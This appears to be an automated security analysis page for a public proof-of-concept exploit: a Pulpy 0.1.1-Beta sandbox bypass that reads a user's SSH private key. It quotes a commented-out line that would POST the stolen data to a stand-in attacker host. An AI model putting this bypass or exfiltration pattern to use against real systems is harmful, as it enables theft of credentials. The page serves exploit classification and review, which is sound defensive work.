Pulpy 0.1.1-Beta - Filesystem Sandbox Bypass

ExploitDBExploitDB exploitExploitEDB-52616

PoC files

1 file

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

ExploitDB
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

The artifact provides JavaScript code that uses the pulpy.fs.readFile API to read a user's SSH private key from a path that bypasses the incomplete sandbox blocklist, constituting an exploit.

Backdoor review

No backdoor observed in reviewed code

The supplied text is a standard public proof-of-concept (PoC) exploit for CVE-2026-44225. It describes a filesystem sandbox bypass in Pulpy 0.1.1-Beta and provides JavaScript code that demonstrates reading a sensitive file using the vulnerable pulpy.fs API. The code performs the advertised exploit behavior (reading a file outside the intended sandbox) and includes a commented-out suggestion for exfiltration, which is a typical part of demonstrating impact in a PoC. No concealed backdoor, unrelated payload, or deceptive behavior targeting the person reviewing the PoC was observed.

ClassificationExploit
Model confidence95%
AuthenticationNot required
Languagesjavascript
Target softwarePulpy
Attack typespath traversalsandbox bypass
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The artifact contains executable JavaScript code that actively reads a sensitive file (SSH private key) from a path that bypasses the sandbox, which is the definition of an exploit. The code is not merely a detection script; it performs the unauthorized access.

exploits/multiple/webapps/52616.txt:43-61

Requirements

  • Target must be running a web application packaged with a vulnerable version of Pulpy (<= 0.1.1-Beta).exploits/multiple/webapps/52616.txt:7
  • Attacker must know or be able to resolve the target user's username to construct the path.exploits/multiple/webapps/52616.txt:47-48

Observed behavior

  • Executes pulpy.fs.readFile on a path like /Users/<username>/.ssh/id_rsa to read the file contents, bypassing the sandbox because the blocklist only checks for root-level paths.exploits/multiple/webapps/52616.txt:48-55
  • Logs the file content to the console and includes a comment suggesting exfiltration to an attacker-controlled server.exploits/multiple/webapps/52616.txt:55-57
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Commented Exfiltration Suggestion
// Exfiltration logic can be placed here (e.g., fetch('[https://attacker.com/log](https://attacker.com/log)', {method: 'POST', body: data}))The PoC includes a commented-out line suggesting how an attacker might exfiltrate data. This is a standard demonstration of impact in a PoC and is not executed by the PoC itself. It does not constitute a backdoor or deceptive payload targeting the reviewer.exploits/multiple/webapps/52616.txt:57
Review boundaries

What the analysis did not establish

  • The exploit code requires the attacker to know or dynamically resolve the target's username, which is not provided in the artifact.
  • The exfiltration logic is only a comment and not implemented as functional code.
  • The artifact is a single text file; no external dependencies or execution environment are included.
  • Only the text content of the supplied file was reviewed; no external resources, links, or binary files were fetched or analyzed.
  • The review does not assess whether the PoC code functions as described or is safe to execute against a vulnerable target.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

1